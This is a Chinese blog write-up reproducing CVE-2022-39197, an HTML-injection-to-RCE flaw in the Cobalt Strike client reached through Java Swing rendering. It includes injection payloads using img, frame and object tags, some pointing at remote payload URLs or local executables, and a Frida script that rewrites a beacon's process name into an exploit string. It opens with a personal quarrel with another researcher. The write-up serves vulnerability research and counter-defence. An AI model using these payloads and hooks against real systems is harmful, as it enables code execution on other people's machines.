0x00 前言
就在前几天,无敌的北辰少爷向CS官方提交了一个RCE漏洞,通过该漏洞可以在捕获攻击者的beacon后向teamserver发送包含xss的数据,经过反射后最终在攻击者的client上执行RCE,该漏洞编号为CVE-2022-39197。可见这是一个可遇不可求的反制黑客的神洞,安服仔的噩梦。既然是暴打jb小子的漏洞,那一定要复现一下,于是我下定决心燃烧精元死命肝,在群友尤其是panda师傅的大力支持下终于跌跌撞撞的完整的复现了该漏洞。回过头来看这几天,真是学了一车皮的东西。也欢迎大家加入赛博回忆录知识星球,后面我还会继续更新我的src自动化扫描改造希望大家喜欢。
0x01 插播娱乐新闻
由于东西太多,在开讲前我们先来看一段娱乐新闻。我就点名一下某鲁特,你朋友圈装逼挂个假复现CS RCE,还跟别人说就是JS执行命令。我看群里有人转了我就吐槽了一句
怎么这就要被你挂到公众号里?你看看你自己复现的什么玩意,插img标签走smb relay,这也叫做RCE?本来吧,你不挂我,我都不想理你,毕竟以你的水平到这个层次也差不多了,我打第一天就知道有人会这么复现。可我不太理解的是
你自己都说自己错了,那你挂我干嘛呢?我说错啥了呢?
这你写的吧,别人玩剩下的东西是吧?
你的part 2是不是写不出来?无能狂怒倒是很有一手
到底是谁浮躁?我就纳闷了怎么有人脸皮这么厚还能写个文来骂那些专心研究的人说他们浮躁,自己却在朋友圈插个img就装RCE,搞个relay就装RCE,装就装吧还一本正经的忽悠别人,怎么自己装逼骗人被人揭穿了还跳脚了直接群嘲安全圈浮躁了??你是不是不知道什么叫RCE?
你写的东西,难道就不是别人玩剩下的玩剩下的玩剩下的东西了吗?你自己都这么浮躁了,就不要怪圈子浮躁,物以类聚,你什么样子,你的圈子就是什么样子。我也浮躁,也爱装逼,但我不会像你一样半桶水却要蔑视天下英豪。
下面我正式开始打爆你的脸!
0x02 起点
相信大家在这几日都已经见过了插img标签来获取一个反弹的get请求,比如 在UI组件里写入<html><img src=x>
就会得到这样的效果
这是一个demo的java swing的代码,在jlabel里我直接输入了payload就会得到一个渲染失败的图片,学过基础的xss的都知道,这就是个html的img标签渲染失败的样子。这也意味着如果填入了远程地址,就会对远程服务器发送get请求。这也是这几天最常见的基础利用。那么这是为什么呢?没错,这就是swing(一种java GUI的库)自带的特性,也是一切的起点。
我们直接谷歌搜索swing html,第一条就是官方教你如何在swing里使用html标签。https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
看到没,文档里直接告诉我们一个事实:在内容的开头插入<html>
标签后续的内容就会被格式化为html文档进行解析,也就是说支持html标签。这里有个关键点就是at the beginning of the text,也就是说必须是开头插入<html>
才行,这个点很关键记一下。大部分鲁特们看到这里,可能就很显然的认为既然支持html标签了那是不是直接套一套XSS那一套就可以RCE了,这么看来北辰也没什么了不起,我直接插一个
<script>alert(1)</script>
<script>window.open('file://xxxx/calc.exe')</script>
想怎么弹怎么弹,甚至还能引入外部js文件进行更多的XSS2RCE,这个漏洞没什么了不起,不过是他北辰发现了这个特性罢了。很显然,事情没有那么简单,甚至复杂度超出你的想象。
0x03 swing的html解析器
但凡盲测过也都会发现其实script标签是不生效的,不仅仅是script标签,很多标准的标签在swing这个场景里或多或少都受到一些功能限制。那么要实现RCE的话,突破点在哪里呢?这时候我们就需要从swing的代码里寻找答案了。打开jdk的rt.jar包,我们可以定位到swing的包内容
接下来就是在swing里找答案了。
可以看到带了一个套的html解析器,我们打开那个HTML啥的类随便看看
会定义一大堆常见的html标签和属性,有标签定义那一定有标签解析之类的。东西太多我也不是非常看得懂,我就大概挑几个点说一下,首先是他定义了标签和对应的action
比如我们熟悉的link标签
会关联到linkaction
会专门判断rel是不是stylesheet,是的话可以使用href去引入外部的css,但是如果你去查link支持的属性还会发现标准里支持一大堆的type,会有一大堆的骚操作,但是在这里他只有这两个type实际测下来是有反应的。
从注释和代码里我们也能看到script标签是不支持的,这里其实写的也不太对,但是至少可以说明这些标签不是不支持,就是功能有残缺,实际上也是如此。然后再来看另一片段
在HTMLEditorKit里的create方法可以看到不同的标签会对应到创建不同的view
这里重点来了,首先看这个object标签,这是个啥呀?我们跟进去看看
通过阅读注释我们可以了解到,这个objectview大体上就是可以实例化一个符合要求的类并且通过param进行参数传递! 这有股天然的反序列化的味道了,因此这是RCE的一个极大可能的突破点。围绕这个object标签我们可以做的事情突然就从弹图片开始突破到了实例化任意类。先来看看后续的代码
明显的反射调用并且实例化类,这里要注意的是他还加了个限制判断,也就是实例必须继承与Component,否则就抛出异常。这也大大限制了我们所能操作的范围。我们继续跟入setParameters看看是怎么传递参数的
总结下来就是:
-
classid传入需要实例化的类,类必须继承与Component -
必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法 -
必须存在一个setXXX方法的XXX属性 -
setXXX方法的传参数必须是接受一个string类型的参数
因此找到符合上述条件的类和属性,接着看实例化后能做啥事即可。比如我们可以简单的来测试一个
可以看到jlabel有无参数构造方法,并且有setText的满足条件的属性
那么我们可以构造
<html><object classid='javax.swing.JLabel'><parame name='Text' value='hahaha'>
那其实就变成了从lib包里寻找符合条件的类和方法看看能不能最终做到RCE。在寻找符合条件的类之前我们先来看看这个标签,假设我们已经找到了能够RCE的链,他会是什么样子呢?
加载远程payload,比如jndi什么的
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='http://xxx.xxx.xxx.xxx/payload'>
或者是直接打开本地的exe之类的
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='file:///System/Applications/Calculator.app'>
又或者是命令注入
<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='";open http://www.baidu.com'>
是不是这几种的可能性最大? 关于用哪条链,我这边就不公开了,有兴趣的同学按照这个思路来寻找我相信很快就能在几百个类中找到可能的链了。 接下来关于payload的长度,这怎么看都得六七十以上了,那么就会引出后续的一些限制问题。
0x04 CS自身的限制
大家也都知道如何利用模拟beacon协议来插入img标签了,我这边再简单复述一下 https://github.com/LiAoRJ/CS_fakesubmit
这是一个模拟beacon的上线包的脚本,之前是用来打dos用的,现在可以用来插入payload,具体用法github里都有我就不赘述了。当插入数据的长度较长时,我们会发现一个问题:
这里加上长payload后整体的包长度为132字节,而他报错意思是整个空间只有117字节,也就是说payload是有最大长度限制的。我们来更具体的解析一下为什么会有长度限制。先来大概了解一下beacon和team server之间的交互流程,其实我也是临时百度的文章自己,基本上搜一下就有了类似的协议解析文章。
我也不赘述太多,大家可以先自己看一看文章 https://www.ijiandao.com/2b/baijia/423712.html
简单来说分为两部分,第一部分是上线包,上线包是由RSA加密的metadata插在cookie里,这个metadata就是元数据,大体包含一些基本信息比如用户名、主机名、操作系统信息和AES KEY等。teamserver通过metadata里解析这些数据后显示在首页,从里面获取aes key后用于后续的任务下发相关的数据加解密。而我们再来看CS的client的首页都有啥
没错,就是这熟悉的几个字段,这些字段中大部分信息都来自于metadata。而metadata里的数据就是我们可以控制的插入到teamserver上进行展示的数据。回到117字节限制问题上来,我们在到CS的代码里看一看
我们来到cs的teamserver的代码里直接搜117:
跟进asymmetricCrypto.java里看看
再来看fake client的代码
是不是对应上了?这里有个长度字段,可以看到服务端是获取的我们传输的长度字段来做判断的,那有的同学就要问了,如果我把payload写的很大,但是长度给他传1是不是就过了校验了。答案是不行,有这个校验的根本原因在于RSA的加密算法本身对明文加密长度的限制
而cs在加密metadata的时候用的RSA密钥的长度为128位,因此减去11刚好是117位。这个硬性的包体总长度限制是绕不过去的。那么payload最多可以压缩到什么程度呢?回到fake client里我们看一下
可以看到前面一大坨都是改不了的,不是数字就是标识位写死的,会被teamserver一个个读取出来解析,我们的payload是字符串,你可以简单的认为数字位的都是不能用的。那最终可以写入payload的只有这里的computername、username、processname,对应到界面上就是这三个
这里还有个知识点就是,如果我们要插入有效的payload,肯定只能全部插入到一个单元格里,而不能三个单元格格自插一部分来进行合并。因此我们看一下这三个字段在teamserver里是什么样子的形式
可以看到是直接以t
来切割字符串获取三个字段内容的,也就是说如果我们不用t
就可以把所有内容都写到一个单元格里而且还能少省下两个字节的tab符号
这里的x09
也就是t
,因此我们把这些都去了直接写payload就可以获取到最大可以操作的长度。这个长度为117-51=66,然后还要减去magic number和长度的8个字节,因此是66-8=58的长度限制。当然这是metadata的长度限制,但如果我们从后续的aes通信里打入payload则不受这个限制,这个会在后续再讲。
0x05 jdk版本带来的变数
考虑到metadata有payload的限制,而前面说了利用object标签的话基本上你实际用过了就会发现58个字符的长度根本就不够,压缩不下来,如果你找到的链很复杂就更不可能了。那么从一个受限制的payload引申到不受限制的payload呢?
一般来说我们在浏览器场景上会很容易的想到引入iframe标签来引入外部页面,引入外部页面也就是意味着引入外部html标签,那么这引入的外部html内容就不会受到长度限制了。可是当我们使用iframe标签盲测的时候会发现毫无反应。我们在翻翻代码,还记得前面依稀看到过frame标签
实现了一个叫做frame的标签,我们也懒得看代码了,直接百度一下
按照这个格式,frame标签有熟悉的src属性可以引入外部页面。但如果我们不在外层套frameset标签的话会报错 <html><frame src=x>
解决方法是套一个frameset
<html><frameset rows=*><frame src=x>
当然还有一个小技巧可以进一步压缩
<html>1<frame src=x>
这也是可以运行的。这在jdk高版本的时候是可以成功引入外部页面的,但是在java8俗称j8的jdk1.8上却会报错
这个是由于frame在渲染frameview的时候会强制转换其父组件的类型为这个类型,然而转换失败了就会报错。这个问题在jdk1.8里是无解的,这也是我在一开始认为无法绕过首页长度限制的原因(因为我用的jdk1.8)。好了,总之引用frame标签就可以绕过首页的长度限制了。那么如何在jdk1.8的情况下继续攻击目标呢?
0x06 无视jdk版本的RCE
前面解释过了,首页受到metadata的长度的限制,几乎只有frame标签可以绕过限制,而jdk1.8版本的情况下是不可能使用frame标签进行绕过的。那么我们如何进行攻击?这时候我们就要退而求其次,假设攻击者可以和beacon进行交互操作的情况下看看能不能RCE。答案是肯定的。正如前面所说,beacon和teamserver的交互大体分为两个部分一个是上线包的RSA另一个是后续命令下发的AES,因此我们只需要在命令下发的AES流程里注入数据,那就可以无视metadata的长度限制问题从而进行RCE了。这样讲很抽象,可以看点实际的。
也就是说除了首页那个列表和eventlog以外所有命令下发的回显和交互都是在AES里传递数据的,因此只要我们能看到的界面数据可以控制,就可以进行XSS攻击!这里我通过frada脚本来hook win api修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行RCE!我在这个项目的基础上进行的修改https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-39197/cobaltfire.py
我的frada脚本内容是
import frida
import time
import argparse
def spoof_user_name(target,url):
#spawn target process
print('[+] Spawning target process...')
pid=frida.spawn(target)
session=frida.attach(pid)
js='''
var payload="<html>beacon.exe <object classid='xxx.xxx.xxx.xxx'><param name='xxx'value='xxx'>"
payload=Array.from(payload).map(letter => letter.charCodeAt(0))
var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next')
Interceptor.attach(Process32Next, {
onEnter: function(args) {
//var hProcessSnap=args[0]
var info=args[1];
this.info = info;
//console.log(this.info);
this.szExeFile=this.info.add(0x24);
// console.log(this.szExeFile);
},
onLeave: function(retval) {
if(Memory.readAnsiString(this.szExeFile) == 'beacon.exe')//当进程名称为beacon时修改其名称,可以替换成其他
{
Memory.writeByteArray(ptr(this.szExeFile), payload)
console.log("find beacon.exe write payload")
}
//console.log(Memory.readAnsiString(this.szExeFile));
}
});
'''#.replace('http://127.0.0.1/',url)
script = session.create_script(js)
script.load()
#resume
frida.resume(pid)
print('[+] Let's wait for 10 seconds to ensure the payload sent!')
#wait for 10 seconds
time.sleep(1000)
#kill
frida.kill(pid)
print('[+] Done! Killed trojan process.')
exit(0)
def showbanner():
#Thanks http://patorjk.com/ for creating this awesome banner
banner=''' $$$$$$ $$ $$ $$ $$$$$$$$ $$
$$ __$$ $$ | $$ | $$ | $$ _____|__|
$$ / __| $$$$$$ $$$$$$$ $$$$$$ $$ |$$$$$$ $$ | $$ $$$$$$ $$$$$$
$$ | $$ __$$ $$ __$$ ____$$ $$ |_$$ _| $$$$$ $$ |$$ __$$ $$ __$$
$$ | $$ / $$ |$$ | $$ | $$$$$$$ |$$ | $$ | $$ __| $$ |$$ | __|$$$$$$$$ |
$$ | $$ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$ $$ | $$ |$$ | $$ ____|
$$$$$$ |$$$$$$ |$$$$$$$ |$$$$$$$ |$$ | $$$$ |$$ | $$ |$$ | $$$$$$$
______/ ______/ _______/ _______|__| ____/ __| __|__| _______|
CVE-2022-39197 PoC by @TomAPU
'''
print(banner)
parser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE).
WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine!
Currently, this POC only supports X86 exe payloads, and of course, works on Windows.
''')
parser.add_argument('-t', '--target', help='target trojan sample', required=False)
parser.add_argument('-u', '--url', help='URL for server to load as img, considering the limit of length, it should be less than 20 bytes', required=False)
if __name__=='__main__':
showbanner()
args = parser.parse_args()
if args.target and args.url:
if len(args.url)>20:
print('[-] URL should be shorter than 20 bytes :(')
exit(-1)
spoof_user_name(args.target,args.url)
else:
parser.print_help()
frada脚本的编写就不继续赘述了,累了。除了这种方式以外还可以基于开源的已经实现全套协议的https://github.com/darkr4y/geacon
来直接修改打入payload。
附一个演示视频
0x07 修复建议
修复的话这边可以用橙子酱发在赛博回忆录星球的一个临时布丁来关闭swing的html渲染,这样可以暂时性的解决这个问题,但是我现在相信,cs的下一波RCE可能会很快就来了。
0x07 总结
在短短的几天内真的学了太多东西了,我基本是完全不懂java的,大部分时候都是一知半解的,这里要强烈感谢群友尤其是panda师傅的鼎力支持,给了我太多的帮助以至于我的复现不至于太掉链子,如果单凭我自己估计至少要两周起步了。整个过程涉及到jdk以及cs,分析的复杂度还是挺高的,不得不说北辰是真牛逼。
原文始发于微信公众号(赛博回忆录):最新CS RCE曲折的复现路